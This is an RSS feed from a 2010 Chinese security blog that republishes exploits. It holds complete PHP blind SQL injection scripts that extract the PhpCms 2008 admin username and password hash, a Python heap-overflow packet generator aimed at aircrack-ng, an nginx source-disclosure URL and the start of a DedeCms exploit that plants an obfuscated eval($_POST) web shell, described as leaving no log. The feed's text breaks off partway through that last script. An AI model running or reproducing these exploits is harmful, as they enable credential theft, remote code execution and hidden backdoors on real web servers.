<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu`s Blog &#187; 矩阵毒刺</title>
	<atom:link href="http://www.4shell.org/archives/category/exp/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Thu, 29 Jul 2010 03:57:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Nginx 0.8.35 Space Character Remote Source Disclosure</title>
		<link>http://www.4shell.org/archives/1764.html</link>
		<comments>http://www.4shell.org/archives/1764.html#comments</comments>
		<pubDate>Mon, 31 May 2010 01:34:31 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[nginx]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1764.html</guid>
		<description><![CDATA[#################################################################
# Application Info:
# Name: Nginx
# Tested on nginx 0.8.35
# Nginx 0.8.36 and higher is not vulnerable
#################################################################
# Vulnerability Info:
# Type: Remote File Disclosure
# Risk: High
#################################################################
# Vulnerability:
# http://localhost/file.php%20
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.Securitylab.ir
# Contacts: whh_iran[at]securitylab.ir &#038; info@securitylab[dot]ir
###################################################################
相关文章

橙色预警：PHP PATH_INFO 存在漏洞
nginx 目录自动加斜线
nginx代理DNS缓存域欺骗漏洞
nginx 0.7不cache动态文件的方法
nginx做cache
nginx 0.8.9

]]></description>
			<content:encoded><![CDATA[<p>#################################################################<br />
# Application Info:<br />
# Name: Nginx<br />
# Tested on nginx 0.8.35<br />
# Nginx 0.8.36 and higher is not vulnerable<br />
#################################################################<br />
# Vulnerability Info:<br />
# Type: Remote File Disclosure<br />
# Risk: High<br />
#################################################################<br />
# Vulnerability:<br />
# http://localhost/file.php%20<br />
#################################################################<br />
# Discoverd By: Pouya Daneshmand<br />
# Website: http://Pouya.Securitylab.ir<br />
# Contacts: whh_iran[at]securitylab.ir &#038; info@securitylab[dot]ir<br />
###################################################################</p>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1735.html" title="nginx 目录自动加斜线">nginx 目录自动加斜线</a></li>
<li><a href="http://www.4shell.org/archives/1104.html" title="nginx代理DNS缓存域欺骗漏洞">nginx代理DNS缓存域欺骗漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1041.html" title="nginx 0.7不cache动态文件的方法">nginx 0.7不cache动态文件的方法</a></li>
<li><a href="http://www.4shell.org/archives/1038.html" title="nginx做cache">nginx做cache</a></li>
<li><a href="http://www.4shell.org/archives/1026.html" title="nginx 0.8.9">nginx 0.8.9</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1764.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</title>
		<link>http://www.4shell.org/archives/1754.html</link>
		<comments>http://www.4shell.org/archives/1754.html#comments</comments>
		<pubDate>Sat, 08 May 2010 12:56:27 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[PhpCMS]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1754.html</guid>
		<description><![CDATA[
&#60;?php
ini_set("max_execution_time",0);
error_reporting(7);
function usage()
{
global $argv;
exit(
"\n--+++============================================================+++--".
"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".
"\n--+++============================================================+++--".
"\n\n[+] Author: My5t3ry".
"\n[+] Team: [url]http://www.t00ls.net[/url]".
"\n[+] Usage: php ".$argv[0]." &#60;hostname&#62; &#60;path&#62;".
"\n[+] Ex.: php ".$argv[0]." localhost /yp".
"\n\n");
}
function query($pos, $chr, $chs)
{
global $prefix;
switch ($chs){
case 1:
$query = "1=1 and if((ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";
break;
case 2:
$query = "1=1 and if((ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";
break;
case 3:
$query = [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
&lt;?php</p>
<p>ini_set("max_execution_time",0);</p>
<p>error_reporting(7);</p>
<p>function usage()</p>
<p>{</p>
<p>global $argv;</p>
<p>exit(</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n\n[+] Author: My5t3ry".</p>
<p>"\n[+] Team: [url]http://www.t00ls.net[/url]".</p>
<p>"\n[+] Usage: php ".$argv[0]." &lt;hostname&gt; &lt;path&gt;".</p>
<p>"\n[+] Ex.: php ".$argv[0]." localhost /yp".</p>
<p>"\n\n");</p>
<p>}</p>
<p>function query($pos, $chr, $chs)</p>
<p>{</p>
<p>global $prefix;</p>
<p>switch ($chs){</p>
<p>case 1:</p>
<p>$query = "1=1 and if((ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";</p>
<p>break;</p>
<p>case 2:</p>
<p>$query = "1=1 and if((ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";</p>
<p>break;</p>
<p>case 3:</p>
<p>$query = "1=1 and if((length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}),benchmark(10000000,md5(1)),1)#";</p>
<p>break;</p>
<p>}</p>
<p>$query = str_replace(" ", "/**/", $query);</p>
<p>$query = urlencode($query);</p>
<p>return $query;</p>
<p>}</p>
<p>function exploit($hostname, $path, $pos, $chr, $chs)</p>
<p>{</p>
<p>$chr = ord($chr);</p>
<p>$conn = fsockopen($hostname, 80);</p>
<p>$postdata = "q=&amp;action=searchlist&amp;where=".query($pos, $chr, $chs);</p>
<p>$message = "POST ".$path."/product.php HTTP/1.1\r\n";</p>
<p>$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "Accept-Encoding: gzip, deflate\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $hostname\r\n";</p>
<p>$message .= "Content-Length: ".strlen($postdata)."\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$message .= $postdata;</p>
<p>//echo $message;</p>
<p>$time_a = time();</p>
<p>fputs($conn, $message);</p>
<p>while (!feof($conn))</p>
<p>$reply .= fgets($conn, 1024);</p>
<p>$time_b = time();</p>
<p>fclose($conn);</p>
<p>//echo $time_b - $time_a."\r\n";</p>
<p>if ($time_b - $time_a &gt; 4)</p>
<p>return true;</p>
<p>else</p>
<p>return false;</p>
<p>}</p>
<p>function crkusername($hostname, $path, $chs)</p>
<p>{</p>
<p>global $length;</p>
<p>$key = "abcdefghijklmnopqrstuvwxyz0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] username: ";</p>
<p>while ($pos &lt;= $length)</p>
<p>{</p>
<p>if (exploit($hostname, $path, $pos, $key[$chr], $chs))</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n";</p>
<p>}</p>
<p>function crkpassword($hostname, $path, $chs)</p>
<p>{</p>
<p>$key = "abcdef0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] password: ";</p>
<p>while ($pos &lt;= 32)</p>
<p>{</p>
<p>if (exploit($hostname, $path, $pos, $key[$chr], $chs))</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n\n";</p>
<p>}</p>
<p>function lengthcolumns($hostname, $path, $chs)</p>
<p>{</p>
<p>echo "[+] username length: ";</p>
<p>$exit = 0;</p>
<p>$length = 0;</p>
<p>$pos = 0;</p>
<p>$chr = 0;</p>
<p>while ($exit==0)</p>
<p>{</p>
<p>if (exploit($hostname, $path, $pos, $chr, $chs))</p>
<p>{</p>
<p>$exit = 1;</p>
<p>$length = $pos;</p>
<p>}</p>
<p>else</p>
<p>$pos++;</p>
<p>}</p>
<p>echo $length."\n";</p>
<p>return $length;</p>
<p>}</p>
<p>function getprefix($hostname, $path)</p>
<p>{</p>
<p>echo "[+] prefix: ";</p>
<p>$conn = fsockopen($hostname, 80);</p>
<p>$request = "GET {$path}/product.php?q=&amp;action=searchlist&amp;where=%23 HTTP/1.1\r\n";</p>
<p>$request .= "Host: {$hostname}\r\n";</p>
<p>$request .= "Connection: Close\r\n\r\n";</p>
<p>fputs($conn, $request);</p>
<p>while (!feof($conn))</p>
<p>$reply .= fgets($conn, 1024);</p>
<p>fclose($conn);</p>
<p>preg_match('/FROM `(.+)yp_product/ie',$reply,$match);</p>
<p>if ($match[1])</p>
<p>return $match[1];</p>
<p>else</p>
<p>return false;</p>
<p>}</p>
<p>if ($argc != 3)</p>
<p>usage();</p>
<p>$prefix="";</p>
<p>$hostname = $argv[1];</p>
<p>$path = $argv[2];</p>
<p>$prefix = getprefix($hostname, $path);</p>
<p>if ($prefix)</p>
<p>{</p>
<p>echo $prefix."\r\n";</p>
<p>$length = lengthcolumns($hostname, $path, 3);</p>
<p>crkusername($hostname, $path, 1);</p>
<p>crkpassword($hostname, $path, 2);</p>
<p>}</p>
<p>else</p>
<p>{</p>
<p>exit("Exploit failed");</p>
<p>}</p>
<p>?&gt;
</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li>
<li><a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1772.html" title="Havij v1.1 Advanced SQL Injection">Havij v1.1 Advanced SQL Injection</a></li>
<li><a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li>
<li><a href="http://www.4shell.org/archives/1690.html" title="SFX-SQLi SQL2005/2008注入工具">SFX-SQLi SQL2005/2008注入工具</a></li>
<li><a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li>
<li><a href="http://www.4shell.org/archives/1316.html" title="SQL通用防注入程序 20091206版">SQL通用防注入程序 20091206版</a></li>
<li><a href="http://www.4shell.org/archives/1150.html" title="phpcms 2008 任意下载漏洞">phpcms 2008 任意下载漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li>
<li><a href="http://www.4shell.org/archives/1105.html" title="phpcms2008 最新0day &#038; Exp">phpcms2008 最新0day &#038; Exp</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1754.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</title>
		<link>http://www.4shell.org/archives/1753.html</link>
		<comments>http://www.4shell.org/archives/1753.html#comments</comments>
		<pubDate>Sat, 08 May 2010 12:55:25 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[PhpCMS]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1753.html</guid>
		<description><![CDATA[
&#60;?php
ini_set("max_execution_time",0);
error_reporting(7);
function usage()
{
global $argv;
exit(
"\n--+++============================================================+++--".
"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".
"\n--+++============================================================+++--".
"\n\n[+] Author: My5t3ry".
"\n[+] Team: [url]http://www.t00ls.net[/url]".
"\n[+] Usage: php ".$argv[0]." &#60;hostname&#62; &#60;path&#62;".
"\n[+] Ex.: php ".$argv[0]." localhost /yp".
"\n\n");
}
function query($pos, $chr, $chs)
{
global $prefix;
switch ($chs){
case 0:
$query = "#";
break;
case 1:
$query = " ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";
break;
case 2:
$query = " ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";
break;
case 3:
$query [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
&lt;?php</p>
<p>ini_set("max_execution_time",0);</p>
<p>error_reporting(7);</p>
<p>function usage()</p>
<p>{</p>
<p>global $argv;</p>
<p>exit(</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n\n[+] Author: My5t3ry".</p>
<p>"\n[+] Team: [url]http://www.t00ls.net[/url]".</p>
<p>"\n[+] Usage: php ".$argv[0]." &lt;hostname&gt; &lt;path&gt;".</p>
<p>"\n[+] Ex.: php ".$argv[0]." localhost /yp".</p>
<p>"\n\n");</p>
<p>}</p>
<p>function query($pos, $chr, $chs)</p>
<p>{</p>
<p>global $prefix;</p>
<p>switch ($chs){</p>
<p>case 0:</p>
<p>$query = "#";</p>
<p>break;</p>
<p>case 1:</p>
<p>$query = " ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";</p>
<p>break;</p>
<p>case 2:</p>
<p>$query = " ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";</p>
<p>break;</p>
<p>case 3:</p>
<p>$query = " length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}#";</p>
<p>break;</p>
<p>}</p>
<p>$query = str_replace(" ", "/**/", $query);</p>
<p>$query = urlencode($query);</p>
<p>return $query;</p>
<p>}</p>
<p>function exploit($hostname, $path, $pos, $chr, $chs)</p>
<p>{</p>
<p>$chr = ord($chr);</p>
<p>$conn = fsockopen($hostname, 80);</p>
<p>//print_r($conn);</p>
<p>/*if (!$conn){</p>
<p>exit("\r\n[-] No response from $conn");</p>
<p>}*/</p>
<p>$postdata = "q=&amp;action=searchlist&amp;where=".query($pos, $chr, $chs);</p>
<p>$message = "POST ".$path."/product.php HTTP/1.1\r\n";</p>
<p>$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "Accept-Encoding: gzip, deflate\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $hostname\r\n";</p>
<p>$message .= "Content-Length: ".strlen($postdata)."\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$message .= $postdata;</p>
<p>//echo $message;</p>
<p>fputs($conn, $message);</p>
<p>while (!feof($conn))</p>
<p>$reply .= fgets($conn, 1024);</p>
<p>fclose($conn);</p>
<p>return $reply;</p>
<p>}</p>
<p>function crkusername($hostname, $path, $chs)</p>
<p>{</p>
<p>global $length;</p>
<p>$key = "abcdefghijklmnopqrstuvwxyz0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] username: ";</p>
<p>while ($pos &lt;= $length)</p>
<p>{</p>
<p>$response = exploit($hostname, $path, $pos, $key[$chr], $chs);</p>
<p>preg_match ("/&lt;span class=\"time\"&gt;(.+)&lt;\/span&gt;&lt;\/strong&gt;/i", $response, $match);</p>
<p>if (strlen(trim($match[1])) != 0)</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n";</p>
<p>}</p>
<p>function crkpassword($hostname, $path, $chs)</p>
<p>{</p>
<p>$key = "abcdef0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] password: ";</p>
<p>while ($pos &lt;= 32)</p>
<p>{</p>
<p>$response = exploit($hostname, $path, $pos, $key[$chr], $chs);</p>
<p>preg_match ("/&lt;span class=\"time\"&gt;(.+)&lt;\/span&gt;&lt;\/strong&gt;/i", $response, $match);</p>
<p>if (strlen(trim($match[1])) != 0)</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n\n";</p>
<p>}</p>
<p>function lengthcolumns($hostname, $path, $chs)</p>
<p>{</p>
<p>echo "[+] username length: ";</p>
<p>$exit = 0;</p>
<p>$length = 0;</p>
<p>$pos = 1;</p>
<p>$chr = 0;</p>
<p>while ($exit==0)</p>
<p>{</p>
<p>$response = exploit($hostname, $path, $pos, $chr, $chs);</p>
<p>preg_match ("/&lt;span class=\"time\"&gt;(.+)&lt;\/span&gt;&lt;\/strong&gt;/i", $response, $match);</p>
<p>if (strlen(trim($match[1])) != 0)</p>
<p>{</p>
<p>$exit = 1;</p>
<p>$length = $pos;</p>
<p>}</p>
<p>else</p>
<p>$pos++;</p>
<p>}</p>
<p>echo $length."\n";</p>
<p>return $length;</p>
<p>}</p>
<p>function getprefix($hostname, $path, $chs)</p>
<p>{</p>
<p>echo "[+] prefix: ";</p>
<p>$pos = 0;</p>
<p>$chr = 0;</p>
<p>$response = exploit($hostname, $path, $pos, $chr, $chs);</p>
<p>preg_match('/FROM `(.+)yp_product/ie',$response,$match);</p>
<p>if ($match[1])</p>
<p>return $match[1];</p>
<p>else</p>
<p>return false;</p>
<p>}</p>
<p>if ($argc != 3)</p>
<p>usage();</p>
<p>$prefix="";</p>
<p>$hostname = $argv[1];</p>
<p>$path = $argv[2];</p>
<p>$prefix = getprefix($hostname, $path, 0);</p>
<p>if ($prefix)</p>
<p>{</p>
<p>echo $prefix."\r\n";</p>
<p>$length = lengthcolumns($hostname, $path, 3);</p>
<p>crkusername($hostname, $path, 1);</p>
<p>crkpassword($hostname, $path, 2);</p>
<p>}</p>
<p>else</p>
<p>{</p>
<p>exit("\r\n[-] Exploit failed");</p>
<p>}</p>
<p>?&gt;
</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li>
<li><a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1772.html" title="Havij v1.1 Advanced SQL Injection">Havij v1.1 Advanced SQL Injection</a></li>
<li><a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li>
<li><a href="http://www.4shell.org/archives/1690.html" title="SFX-SQLi SQL2005/2008注入工具">SFX-SQLi SQL2005/2008注入工具</a></li>
<li><a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li>
<li><a href="http://www.4shell.org/archives/1316.html" title="SQL通用防注入程序 20091206版">SQL通用防注入程序 20091206版</a></li>
<li><a href="http://www.4shell.org/archives/1150.html" title="phpcms 2008 任意下载漏洞">phpcms 2008 任意下载漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li>
<li><a href="http://www.4shell.org/archives/1105.html" title="phpcms2008 最新0day &#038; Exp">phpcms2008 最新0day &#038; Exp</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1753.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote Exploit Against the Aircrack-NG Tools svn r1675</title>
		<link>http://www.4shell.org/archives/1692.html</link>
		<comments>http://www.4shell.org/archives/1692.html#comments</comments>
		<pubDate>Thu, 15 Apr 2010 02:53:33 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Aircrack-ng]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1692.html</guid>
		<description><![CDATA[#!/usr/bin/env python
# -*- coding: UTF-8 -*-
''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.
The tools' code responsible for parsing IEEE802.11-packets assumes the
self-proclaimed length of a EAPOL-packet to be correct and never to exceed
a (arbitrary) maximum size of 256 bytes for packets that are part of the
EAPOL-authentication. We can exploit this by letting [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>#!/usr/bin/env python</p>
<p># -*- coding: UTF-8 -*-</p>
<p>''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.</p>
<p>The tools' code responsible for parsing IEEE802.11-packets assumes the</p>
<p>self-proclaimed length of a EAPOL-packet to be correct and never to exceed</p>
<p>a (arbitrary) maximum size of 256 bytes for packets that are part of the</p>
<p>EAPOL-authentication. We can exploit this by letting the code parse packets</p>
<p>which:</p>
<p>a) proclaim to be larger than they really are, possibly causing the code</p>
<p>to read from invalid memory locations while copying the packet;</p>
<p>b) really do exceed the maximum size allowed and overflow data structures</p>
<p>allocated on the heap, overwriting libc's allocation-related</p>
<p>structures. This causes heap-corruption.</p>
<p>Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-</p>
<p>path. Careful layout of the packet's content can even possibly alter the</p>
<p>instruction-flow through the already well known heap-corruption paths</p>
<p>in libc. Playing with the proclaimed length of the EAPOL-packet and the</p>
<p>size and content of the packet's padding immediately end up in various</p>
<p>assertion errors during calls to free(). This reveals the possibility to</p>
<p>gain control over $EIP.</p>
<p>Given that we have plenty of room for payload and that the tools are</p>
<p>usually executed with root-privileges, we should be able to have a</p>
<p>single-packet-own-everything exploit at our hands. As the attacker can</p>
<p>cause the various tools to do memory-allocations at his will (through</p>
<p>faking the appearance of previously unknown clients), the resulting</p>
<p>exploit-code should have a high probability of success.</p>
<p>The demonstration-code below requires Scapy &gt;= 2.x and Pyrit &gt;= 0.3.1-dev</p>
<p>r238 to work. It generates pcap-file with single packet of the following</p>
<p>content:</p>
<p>0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0</p>
<p>108000000000000000000000000000000000000000000000000000000000000000000000000</p>
<p>000000000000000000000000000000000000000000000000000000000000000000000000000</p>
<p>000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172</p>
<p>3F</p>
<p>03/27/2010, Lukas Lueg, lukas.lueg@gmail.com</p>
<p>'''</p>
<p>import cpyrit.pckttools</p>
<p>import scapy.layers</p>
<p># A IEEE802.11-packet with LLC- and SNAP-header, looking like the second</p>
<p># phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-</p>
<p># packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and</p>
<p># struct WPA_hdsk.</p>
<p># We have plenty of room for exploit-payload as most of the fields in the</p>
<p># EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent</p>
<p># heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in</p>
<p># case of airodump-ng...</p>
<p>pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00',       \</p>
<p>addr2='00:de:ad:c0:de:01',       \</p>
<p>FCfield='to-DS')                 \</p>
<p>/ scapy.layers.dot11.LLC()                                \</p>
<p>/ scapy.layers.dot11.SNAP()                               \</p>
<p>/ scapy.layers.l2.EAPOL(len=65000)                        \</p>
<p>/ cpyrit.pckttools.EAPOL_Key()                            \</p>
<p>/ cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \</p>
<p>/ scapy.packet.Padding(load='Can I has some moar?')</p>
<p>if __name__ == '__main__':</p>
<p>print "Packet's content:"</p>
<p>print ''.join("%02X" % ord(c) for c in str(pckt))</p>
<p>filename = 'aircrackng_exploit.cap'</p>
<p>print "Writing to '%s'" % filename</p>
<p>writer = cpyrit.pckttools.Dot11PacketWriter(filename)</p>
<p>writer.write(pckt)</p>
<p>writer.close()</p>
<p>print 'Done'</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li>
<li><a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li>
<li><a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li>
<li><a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li>
<li><a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1103.html" title="Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版">Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版</a></li>
<li><a href="http://www.4shell.org/archives/1090.html" title="Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit">Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1082.html" title="Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)">Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)</a></li>
<li><a href="http://www.4shell.org/archives/1079.html" title="Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit">Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit</a></li>
<li><a href="http://www.4shell.org/archives/1078.html" title="Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overflow Exploit (win2k)">Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overflow Exploit (win2k)</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1692.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DedeCms v5.5 0day</title>
		<link>http://www.4shell.org/archives/1615.html</link>
		<comments>http://www.4shell.org/archives/1615.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 01:53:34 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[DedeCMS]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1615.html</guid>
		<description><![CDATA[官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.php一句话小马
密码t,官方最新GBK和utf-8版本存在此漏洞,
此exp得特点是生产t.php得时候不留日志

&#60;?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc &#60; 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$post_a = 'plus/digg_ajax.php?id=1024e1024&#38;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97)
.chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104)
.chr(101).chr(47).chr(116).chr(46).chr(112).chr(104)
.chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112)
.chr(104).chr(112).chr(32).chr(101).chr(118).chr(97)
.chr(108).chr(40).chr(36).chr(95).chr(80).chr(79)
.chr(83).chr(84).chr(91).chr(39).chr(116).chr(39)
.chr(93).chr(41).chr(59).chr(63).chr(62));/*';
